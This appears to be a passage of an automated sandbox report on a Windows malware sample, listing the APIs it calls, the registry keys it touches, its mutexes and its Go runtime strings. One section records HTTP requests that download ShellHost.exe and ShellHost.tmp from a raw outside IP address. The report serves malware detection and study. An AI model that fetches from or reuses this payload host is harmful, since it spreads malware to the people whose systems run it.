"e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found system information discovery API: "internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb" in "00000000-00000356.00000000.172078.01294000.00000002.mdmp" Found system information discovery API: "internal/syscall/windows/registry.procExpandEnvironmentStringsW" in "00000000-00000356.00000000.172078.01294000.00000002.mdmp" Found system information discovery API: "GetUserObjectInformationW" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp"39:T2a2d,"status is not in scan state is currently not supported for use in system callbacksSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= runtime: checkmarks found unexpected unmarked object obj=tried to trace goroutine with invalid or unsupported statusmanual span allocation called with non-manually-managed typeaddr range base and limit are not in the same memory segmentruntime: netpoll: PostQueuedCompletionStatus failed (errno= runtime: malformed profBuf buffer - tag and data out of sync is in a tiny block with other (possibly long-lived) values" in Source: 00000000-00000356.00000001.173998.01125000.00000002.mdmp "Software\Tencent\Plugin\VAS" in Source: 00000000-00000356.00000001.173998.26300000.00000040.mdmp 00000000-00000356.00000001.173998.26480000.00000040.mdmp 00000000-00000356.00000002.175916.26170000.00000004.mdmp 00000000-00000356.00000002.175916.26280000.00000004.mdmp 00000000-00000356.00000002.175916.26480000.00000040.mdmp 00000000-00000356.00000002.175916.27471000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000356.00000001.173998.26300000.00000040.mdmp 00000000-00000356.00000001.173998.26480000.00000040.mdmp 00000000-00000356.00000002.175916.26170000.00000004.mdmp 00000000-00000356.00000002.175916.26280000.00000004.mdmp 00000000-00000356.00000002.175916.26480000.00000040.mdmp 00000000-00000356.00000002.175916.27471000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Drivers32" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFFDC614-B694-4AE6-AB38-5D6374584B52}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFCECE86-332F-49B4-B9EE-7FECEFAD3E10}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFC9F9AE-E87A-3252-8E25-B22423A40065}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF2F95A4-C6A1-4B48-BC87-8709250E0D03}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFE2A43C-56B9-4BF5-9A79-CC6D4285608A}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF302BD3-3DC6-4680-9384-621A7FF574F4}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFE1DF5F-9F06-46D3-AF27-F1FC10D63892}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF8A32E3-A9A7-4093-B9C4-5B5B4F30AB63}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF2AB3A5-5EEA-4538-8F8F-C169CCD40200}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFE1E5FE-F1F0-48C8-953E-72BA272F2744}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFD90217-F7C2-4434-9EE1-6F1B530DB20F}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF51D680-9190-4B6C-87DA-0062ABBBFF2E}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF9E6131-A8C1-4188-AA03-82E9F10A05A8}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0157-ABCDEFFEDCBB}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0157-ABCDEFFEDCBC}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{F8071786-1FD0-4A66-81A1-3CBE29274458}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0159-ABCDEFFEDCBB}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0160-ABCDEFFEDCBA}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0161-ABCDEFFEDCBA}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{E19F9331-3110-11D4-991C-005004D3B3DB}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0159-ABCDEFFEDCBC}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0158-ABCDEFFEDCBB}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "ISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001376.00000000.170664.00B40000.00000004.mdmp "ISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001376.00000000.170664.00B40000.00000004.mdmp4e:T6ac,Process tmp9bmqrk_p.exe created mutex with name "\Sessions\1\BaseNamedObjects\2026. 1.26" Process tmp9bmqrk_p.exe created mutex with name "\Sessions\1\BaseNamedObjects\C:\ProgramData\DisplaySessionContainers.log" Process tmp9bmqrk_p.exe created mutex with name "\Sessions\1\BaseNamedObjects\DirectInput.{89521361-AA8A-11CF-BFC7-444553540000}" Process tmp9bmqrk_p.exe created mutex with name "\Sessions\1\BaseNamedObjects\DirectInput.{5944E682-C92E-11CF-BFC7-444553540000}" Process tmp9bmqrk_p.exe created mutex with name "SM0:356:168:WilStaging_02" Process tmp9bmqrk_p.exe created mutex with name "DirectInput.{5944E682-C92E-11CF-BFC7-444553540000}" Process tmp9bmqrk_p.exe created mutex with name "2026. 1.26" Process tmp9bmqrk_p.exe created mutex with name "C:\ProgramData\DisplaySessionContainers.log" Process tmp9bmqrk_p.exe created mutex with name "eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-735145574-3570218355-1207367261-1001" Process tmp9bmqrk_p.exe created mutex with name "Local\SM0:356:168:WilStaging_02" Process tmp9bmqrk_p.exe created mutex with name "DirectInput.{89521361-AA8A-11CF-BFC7-444553540000}" Process tmp9bmqrk_p.exe created mutex with name "SM0:356:64:WilError_01" Process tmp9bmqrk_p.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:356:168:WilStaging_02" Process tmp9bmqrk_p.exe created mutex with name "\Sessions\1\BaseNamedObjects\eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-735145574-3570218355-1207367261-1001" Process tmp9bmqrk_p.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:356:64:WilError_01" Process tmp9bmqrk_p.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:356:168:WilStaging_02"4f:T981,"e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "libcrypto-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "tmp9bmqrk_p.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "libssl-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "unicodedata.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_decimal.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "pyexpat.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ssl.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_lzma.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ctypes.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_bz2.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_socket.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_hashlib.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_multiprocessing.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_queue.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "select.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT50:T22f2,"mheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= runtime: checkmarks found unexpected unmarked object obj=tried to trace goroutine with invalid or unsupported statusmanual span allocation called with non-manually-managed typeaddr range base and limit are not in the same memory segmentruntime: netpoll: PostQueuedCompletionStatus failed (errno= runtime: malformed profBuf buffer - tag and data out of sync is in a tiny block with other (possibly long-lived) values" in Source: 00000000-00000356.00000001.173998.01125000.00000002.mdmp "Software\Tencent\Plugin\VAS" in Source: 00000000-00000356.00000001.173998.26300000.00000040.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000356.00000001.173998.26300000.00000040.mdmp "Software\Tencent\Plugin\VAS" in Source: 00000000-00000356.00000001.173998.26480000.00000040.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000356.00000001.173998.26480000.00000040.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Drivers32" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFFDC614-B694-4AE6-AB38-5D6374584B52}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFCECE86-332F-49B4-B9EE-7FECEFAD3E10}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFC9F9AE-E87A-3252-8E25-B22423A40065}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF2F95A4-C6A1-4B48-BC87-8709250E0D03}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFE2A43C-56B9-4BF5-9A79-CC6D4285608A}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF302BD3-3DC6-4680-9384-621A7FF574F4}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFE1DF5F-9F06-46D3-AF27-F1FC10D63892}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF8A32E3-A9A7-4093-B9C4-5B5B4F30AB63}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF2AB3A5-5EEA-4538-8F8F-C169CCD40200}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFE1E5FE-F1F0-48C8-953E-72BA272F2744}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FFD90217-F7C2-4434-9EE1-6F1B530DB20F}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF51D680-9190-4B6C-87DA-0062ABBBFF2E}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FF9E6131-A8C1-4188-AA03-82E9F10A05A8}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0157-ABCDEFFEDCBB}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0157-ABCDEFFEDCBC}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{F8071786-1FD0-4A66-81A1-3CBE29274458}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0159-ABCDEFFEDCBB}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0160-ABCDEFFEDCBA}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0161-ABCDEFFEDCBA}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{E19F9331-3110-11D4-991C-005004D3B3DB}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0159-ABCDEFFEDCBC}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Registry\Machine\Software\Classes\Wow6432Node\CLSID\{CAFEEFAC-0018-0000-0158-ABCDEFFEDCBB}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}" in Source: 00000000-00000356.00000002.175916.03400000.00000004.mdmp "Software\Tencent\Plugin\VAS" in Source: 00000000-00000356.00000002.175916.26170000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000356.00000002.175916.26170000.00000004.mdmp "Software\Tencent\Plugin\VAS" in Source: 00000000-00000356.00000002.175916.26280000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000356.00000002.175916.26280000.00000004.mdmp "Software\Tencent\Plugin\VAS" in Source: 00000000-00000356.00000002.175916.26480000.00000040.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000356.00000002.175916.26480000.00000040.mdmp "Software\Tencent\Plugin\VAS" in Source: 00000000-00000356.00000002.175916.27471000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000356.00000002.175916.27471000.00000004.mdmp "ISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001376.00000000.170664.00B40000.00000004.mdmp "ISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001376.00000000.170664.00B40000.00000004.mdmp "SOFTWARE\Python\PythonCore\z" in Source: 00000000-00003940.00000000.172315.7B41F000.00000002.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00003940.00000000.172315.7B5E0000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00003940.00000000.172315.7B5E0000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00003940.00000001.173719.7B5E0000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00003940.00000001.173719.7B5E0000.00000004.mdmp "SOFTWARE\Python\PythonCore\z" in Source: 00000000-00008008.00000000.171966.7B9FF000.00000002.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00008008.00000000.171966.CABC0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00008008.00000001.173885.CD080000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00008008.00000001.173885.CD370000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00008008.00000002.175806.7BBC0000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00008008.00000002.175806.7BBC0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00008008.00000002.175806.CABC0000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00008008.00000002.175806.CD370000.00000004.mdmp51:T452,"GET /caige/ShellHost.exe HTTP/1.1 Host: 45.207.199.73:3000 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 16543588 Accept-Ranges: bytes Server: HFS 2.3e Set-Cookie: HFS_SID=0.821804483421147; path=/; Last-Modified: Tue 27 Jan 2026 06:24:31 GMT Content-Disposition: attachment; filename="ShellHost.exe"; with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /caige/ShellHost.tmp HTTP/1.1 Host: 45.207.199.73:3000 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 2434 Accept-Ranges: bytes Server: HFS 2.3e Set-Cookie: HFS_SID=0.380130090983585; path=/; Last-Modified: Mon 26 Jan 2026 14:44:16 GMT Content-Disposition: attachment; filename="ShellHost.tmp"; with response body ==>55C28BC3ACC283C3A4C3B8C281C3AC1402000064C2A1300000005333C39BC2895C245CC2895C2470C2895C2474C2895C2478C28B400CC28B40145657C3AB420F.......52:T2119,"enable_connect_protocolunknown error code 0x%xframe_goaway_has_streamframe_headers_pad_shortframe_rststream_bad_lenmalformed http responsenon-zero reserved fieldnetwork not implementedcommand not implementedvariant also negotiatesdev" Pattern match: "https://go.dev/issue/66821" Pattern match: "golang.org/s/cgihttpproxyx509" Pattern match: "go.dev/pkg/crypto/rsa#hdr-minimum_key_size" Heuristic match: "__x86.get_pc_thunk.ax" Heuristic match: "__x86.get_pc_thunk.cx" Heuristic match: "__x86.get_pc_thunk.si" Heuristic match: "internal/abi.name.name" Heuristic match: "type:.eq.internal/godebugs.info" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.(*polldesc).info" Heuristic match: "runtime.srcfunc.name" Heuristic match: "runtime.(*func).name" Heuristic match: "internal/reflectlite.name.name" Heuristic match: "internal/reflectlite.rtype.name" Heuristic match: "internal/abi.(*functype).in" Heuristic match: "internal/reflectlite.flag.ro" Heuristic match: "internal/reflectlite.(*rtype).name" Heuristic match: "errors.is" Heuristic match: "errors.as" Pattern match: "eq.sync/atomic.bool" Pattern match: "eq.sync/atomic.int32" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.uint64" Heuristic match: "sync.(*once).do" Pattern match: "eq.sync/atomic.pointer[sync.poolchainelt" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface" Pattern match: "eq.sync/atomic.pointer[go.shape.struct" Heuristic match: "unicode.to" Heuristic match: "reflect.value.int" Heuristic match: "reflect.flag.ro" Heuristic match: "reflect.(*rtype).name" Pattern match: "eq.sync/atomic.pointer[internal/bisect.dedup" Heuristic match: "internal/godebug.(*setting).name" Pattern match: "eq.sync/atomic.pointer[internal/godebug.value" Heuristic match: "syscall.errno.is" Heuristic match: "syscall.(*errno).is" Pattern match: "eq.io/fs.patherror" Heuristic match: "os.(*file).name" Heuristic match: "os.(*filestat).name" Pattern match: "eq.sync/atomic.pointer[os.dirinfo" Heuristic match: "os.filewithoutreadfrom.name" Heuristic match: "os.(*filewithoutreadfrom).name" Heuristic match: "os.filewithoutwriteto.name" Heuristic match: "os.(*filewithoutwriteto).name" Pattern match: "eq.math/rand.lockedsource" Pattern match: "eq.math/rand.runtimesource" Pattern match: "eq.math/rand.rand" Pattern match: "golang.org/x/crypto/cryptobyte.init" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1boolean" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1integer" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1bigint" Pattern match: "golang.org/x/crypto/cryptobyte.checkasn1integer" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1bytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1int64" Pattern match: "golang.org/x/crypto/cryptobyte.asn1signed" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1uint64" Pattern match: "golang.org/x/crypto/cryptobyte.asn1unsigned" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1int64withtag" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readbase128int" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).read" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1objectidentifier" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1generalizedtime" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1utctime" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1bitstring" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readanyasn1" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1element" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readanyasn1element" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readoptionalasn1" Pattern match: "golang.org/x/crypto/cryptobyte.string.peekasn1tag" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).skipoptionalasn1" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readoptionalasn1integer" Pattern match: "golang.org/x/crypto/cryptobyte.string.empty" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readunsigned" Pattern match: 